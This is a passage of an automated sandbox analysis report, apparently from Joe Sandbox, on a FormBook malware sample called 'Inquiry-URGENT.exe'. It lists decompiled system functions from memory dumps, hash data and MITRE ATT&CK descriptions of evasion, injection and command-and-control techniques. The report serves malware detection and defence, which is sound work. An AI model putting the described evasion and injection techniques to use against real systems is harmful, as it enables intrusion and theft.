Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 975f64d933435f980d478b4928851f1788b48779749dda6f5381596725d9b64b
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 85D0C935352980CFD716CF0CC554B0533A4FB08B40FC504D0E400CBB21E62CE944CA00

Uniqueness

Uniqueness Score: -1.00%

Function 04B9A537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B9A537(intOrPtr _a4, intOrPtr _a8) {

				return L04B38E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x04b9a553

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: c84d258fc837691fe48f914057ec302b106cdd89c3c4829c4c86b00bd9419e9d
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: E6C01232080248BBCB126E82CC00F067B6AEB94B60F008410BA080A5608632E970EA84

Uniqueness

Uniqueness Score: -1.00%

Function 04B1DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B1DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L04B34620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x04b1db4d
0x04b1db54
0x04b1db5f
0x04b1db56
0x04b1db56
0x04b1db5c
0x04b1db5c

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 2b33fb53904f6463f30dbb27bddda7f71029f7f53591647623d43efe47c5eae9
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: ECC08C30280A00AAEB221F20CD01F0136A4FB01B06F8400E06301DA0F0DB78F802EA00

Uniqueness

Uniqueness Score: -1.00%

Function 04B1AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B1AD30(intOrPtr _a4) {

				return L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x04b1ad49

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 7069907abcfc287a09abf6a73e24bf723da66b356127b2a6f04b986a9e07be12
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 5FC08C32080248BBC7126A46CD00F017B29E790B60F004020B6040A6618932E860D588

Uniqueness

Uniqueness Score: -1.00%

Function 04B276E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B276E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x04b276e4
0x00000000
0x04b276f8
0x04b276fd

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: b792689ce87f733e472068755079b114fde13857f766fd712c6e90545f2c110f
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: CFC08CB01411849AEB2B6B0ACF20B203650EB08709F4801DCAA0A094A1CB68B902C28C

Uniqueness

Uniqueness Score: -1.00%

Function 04B436CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B436CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x04b436d2
0x04b436e8
0x04b436d4
0x04b436e5
0x04b436e5

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: bc7bea01701e3f8238648468d131e141faed2a9a86092464db0964b8dc462802
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: E3C09B75255840FBF7155F30CD51F157294F740A66F6807D47221495F0D579BC00E504

Uniqueness

Uniqueness Score: -1.00%

Function 04B33A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B33A1C(intOrPtr _a4) {
				void* _t5;

				return L04B34620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x04b33a35

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: a7e1ac56cde178c035cfeda61ddf339a9224543fe2835613a72381096183d8bd
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: F5C08C32080648BBC7126E42DC00F017B29E790B60F000060B6040A5608532EC60D988

Uniqueness

Uniqueness Score: -1.00%

Function 04B37D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B37D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x04b37d56
0x04b37d5b
0x04b37d60
0x04b37d5d
0x04b37d5d
0x04b37d5d

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 342e784077bfa0b624f5917ece8277dc0e8c39e27ed7fdd68c8a46ee435bbf76
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: 04B092743019408FCF16DF19C080B1533E4FB44A40B8440D0E400CBA20D729F8009900

Uniqueness

Uniqueness Score: -1.00%

Function 04B42ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B42ACB() {
				void* _t5;

				return E04B2EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x04b42adc

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 071d094d3d27b6c443feaf36733b60b3844e3e769f715dd8c36dc35c5a6201ff
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 20B092328104508BCF02AB40C650A197331AB00650F0544909001279208228AC01CA40

Uniqueness

Uniqueness Score: -1.00%

Function 04BAFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E04BAFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E04B5CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E04BA5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E04BA5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x04bafdda
0x04bafde2
0x04bafde5
0x04bafdec
0x04bafdfa
0x04bafdff
0x04bafe0a
0x04bafe0f
0x04bafe17
0x04bafe1e
0x04bafe19
0x04bafe19
0x04bafe19
0x04bafe20
0x04bafe21
0x04bafe22
0x04bafe25
0x04bafe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04BAFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04BAFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04BAFE01

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: ddb4f2ddf19af918cbdccad3f71985b217869b9d21043ac23127c8806e714fad
Instruction ID: 69969c87ad736967f2c54b5574b024b49fef1dce4dcdf398f3439827264fba17
Opcode Fuzzy Hash: ddb4f2ddf19af918cbdccad3f71985b217869b9d21043ac23127c8806e714fad
Instruction Fuzzy Hash: 61F0F032204201BFEA351A45DC06F73BF6AEB44730F244395F628661E1EA62FD3096F4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Inquiry-URGENT.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Function 00418660, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36
filenativeCOMMON

Function 004185B0, Relevance: 1.5, APIs: 1, Instructions: 40
filenativeCOMMON

Function 004186DA, Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Function 004186E0, Relevance: 1.5, APIs: 1, Instructions: 20
nativeCOMMON

Function 00418880, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Function 00409AA3, Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Function 00407280, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Function 00418A11, Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Function 004188B7, Relevance: 1.5, APIs: 1, Instructions: 26
memoryCOMMON

Function 004188C0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Function 00418A20, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 00418900, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON